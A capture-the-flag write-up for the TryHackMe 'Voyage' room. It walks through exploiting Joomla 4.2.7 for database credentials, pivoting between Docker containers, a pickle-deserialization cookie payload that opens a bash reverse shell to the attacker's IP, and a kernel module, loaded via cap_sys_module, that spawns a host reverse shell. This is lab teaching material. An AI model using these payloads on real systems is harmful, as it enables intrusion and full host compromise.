Skip to Content
WriteupsTryHackMeVoyage

Voyage - THM

This is the writeup for the TryHackMe medium difficulty room called Voyage .

Task

The task states that we are going to tackle with containers. Probably a couple of Docker containers.

Recon

CMD: nmap -sS -sV -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-30 16:34 CEST Nmap scan report for 10.10.230.186 Host is up (0.041s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 40.07 seconds

From the nmap scan we can conclude that there are two SSH services running on ports 22 and 2222. And there is also a webserver running on port 80.

Website

Using the browser addon Wappalyzer  we can see that the website is running Joomla.

CMD: joomscan -u http://$IP -ec ____ _____ _____ __ __ ___ ___ __ _ _ (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) (1337.today) --=[OWASP JoomScan +---++---==[Version : 0.0.7 +---++---==[Update Date : [2018/09/23] +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo --=[Code name : Self Challenge @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP Processing http://10.10.230.186 ... [+] FireWall Detector [++] Firewall not detected [+] Detecting Joomla Version [++] Joomla 4.2.7

After searching for Joomla exploits on Exploit DB  we can find an Unauthenticated Information Disclosure Vulnerability.

Exploit DB

Exploitation

CMD: ruby exploit.rb http://$IP Users [377] root (root) - mail@tourism.thm - Super Users Site info Site name: Tourism Editor: tinymce Captcha: 0 Access: 1 Debug status: false Database info DB type: mysqli DB host: localhost DB user: root DB password: /The password/ DB name: joomla_db DB prefix: ecsjh_ DB encryption 0

Running the exploit reveals the database credentials.
We cannot access the database from outside but we can test these credentials on the already found SSH services.
The SSH service running on port 2222 allows us to login with the found credentials.

Escaping the Container

After running linpeas.sh we notice that we are in a docker container and nmap is already installed.

CMD: nmap -sV -p- 192.168.100.* Nmap scan report for ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) Host is up (0.0000050s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 5000/tcp open tcpwrapped ... Nmap scan report for voyage_priv2.joomla-net (192.168.100.12) Host is up (0.0000050s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 5000/tcp open upnp? ... Nmap scan report for f5eb774507f2 (192.168.100.10) Host is up (0.0000040s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

Analyzing the scan we can see that there is an interesting service running on port 5000 which is only accessible from inside the network.

CMD: ssh -L 5000:192.168.100.12:5000 -p 2222 root@$IP

By using SSH local port forwarding we can access the service running on port 5000 of the host.

Secret Panel

We don’t really need to get login credentials because no matter what we enter we get redirected to the dashboard page.

Dashboard

Carefully looking through the page we find no obvious vulnerabilities but the cookie we get after the login seems suspicious.

Cookie

After a bit of googling we find out that the cookie is a hex encoded Python object which was serialized using the pickle library.

CMD: xxd -r -ps session_data > session_data.pkl
deserialize.py
import pickle file = open("session_data.pkl", "rb") print(pickle.load(file))

Reversing the hex encoded string and deserializing it gives us the following object.

{ "user": "admin", "revenue": "85000" }

Let’s try to modify the values, serialize it, hex encode it and replace the session_data cookie.

serialize.py
import pickle object = {'user': 'superadmin', 'revenue': '9999999'} print(pickle.dumps(object).hex())

Modified Cookie

It seems that the website is vulnerable to insecure deserialization.

payload.py
import pickle import os class RCE: def __reduce__(self): cmd = ("/bin/bash -c '/bin/bash -i 5<> /dev/tcp/10.14.99.147/9998 0<&5 1>&5 2>&5'") return os.system, (cmd,) print(pickle.dumps(RCE()).hex())

The pickle library is also vulnerable to remote code execution.
So we can get a reverse shell by creating a malicious cookie.

CMD: nc -lvnp 9998 listening on [any] 9998 ... connect to [10.14.99.147] from (UNKNOWN) [10.10.230.186] 56296 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@d221f7bc7bf8:/finance-app#

After starting a netcat listener we get a shell back.
The user FLAG is in the root directory of the machine.

User Flag

Escaping the 2nd Container

In the root directory we notice a bunch of interesting files.

root@d221f7bc7bf8:~# ls -la ls -la total 144 drwx------ 1 root root 4096 Sep 30 15:49 . drwxr-xr-x 1 root root 4096 Jun 26 18:36 .. -rw-r--r-- 1 root root 137 Jun 25 14:48 .Module.symvers.cmd -rw------- 1 root root 446 Jun 26 18:37 .bash_history -rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc drwx------ 3 root root 4096 Sep 30 15:49 .gnupg drwxr-xr-x 3 root root 4096 Jun 24 12:21 .local -rw-r--r-- 1 root root 86 Jun 25 14:48 .modules.order.cmd -rw-r--r-- 1 root root 161 Jul 9 2019 .profile -rw-r--r-- 1 root root 163 Jun 25 14:48 .revshell.ko.cmd -rw-r--r-- 1 root root 120 Jun 25 14:48 .revshell.mod.cmd -rw-r--r-- 1 root root 45792 Jun 25 14:48 .revshell.mod.o.cmd -rw-r--r-- 1 root root 44610 Jun 25 14:48 .revshell.o.cmd -rw-r--r-- 1 root root 38 Jun 24 15:17 user.txt

The file .revshell.ko.cmd suggests that there is a kernel module exploit available which can give us a reverse shell on the host machine.

Running linpeas.sh again shows us that /proc is mounted to this Docker container so the host and the container runs on the same kernel.

Interesting files mounted ........ proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot) mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64) /dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard) /dev/root on /etc/hostname type ext4 (rw,relatime,discard) /dev/root on /etc/hosts type ext4 (rw,relatime,discard) proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime) proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime) proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime) proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime) proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime) tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64) tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64) tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64) tmpfs on /proc/latency_stats type tmpfs (rw,nosuid,size=65536k,mode=755,inode64) tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64) tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64) tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)

It also shows interesting capabilities like the cap_sys_module.

Dangerous capabilities ......... Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

Using these two combined we can write our own kernel modules and add it to the host machine’s kernel.

Creating the kernel module

kernelmodule.c
#include <linux/module.h> #include <linux/kernel.h> #include <linux/kmod.h> MODULE_LICENSE("GPL"); static char *cmd_argv[] = { "/bin/bash", "-c", "/bin/bash -i 5<> /dev/tcp/10.14.99.147/9999 0<&5 1>&5 2>&5 ", NULL }; static char *cmd_envp[] = { "HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; static int kernelmod_init(void) { int ret; ret = call_usermodehelper(cmd_argv[0], cmd_argv, cmd_envp, UMH_WAIT_PROC); return 0; } static void kernelmod_exit(void) { return; } module_init(kernelmod_init); module_exit(kernelmod_exit);
Makefile
obj-m += kernelmodule.o all: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules clean: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
CMD: ls -la ls -la total 16 drwxrwxrwt 1 root root 4096 Sep 30 17:16 . drwxr-xr-x 1 root root 4096 Jun 26 18:36 .. -rw-r--r-- 1 root root 155 Sep 30 17:06 Makefile -rw-r--r-- 1 root root 585 Sep 30 17:16 kernelmodule.c CMD: make make make -C /lib/modules/6.8.0-1030-aws/build M=/tmp modules make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws' warning: the compiler differs from the one used to build the kernel The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0 You are using: gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0 CC [M] /tmp/kernelmodule.o MODPOST /tmp/Module.symvers CC [M] /tmp/kernelmodule.mod.o LD [M] /tmp/kernelmodule.ko BTF [M] /tmp/kernelmodule.ko Skipping BTF generation for /tmp/kernelmodule.ko due to unavailability of vmlinux make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'

After compiling and starting a listener, we can add our kernelmodule.ko to the host kernel using:

CMD: insmod kernelmodule.ko

Finally, we get our shell on the real host machine!

CMD: nc -lvnp 9999 listening on [any] 9999 ... connect to [10.14.99.147] from (UNKNOWN) [10.10.230.186] 39438 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@tryhackme-2404:/#

The root FLAG is in the /root directory!

Root Flag

Last updated on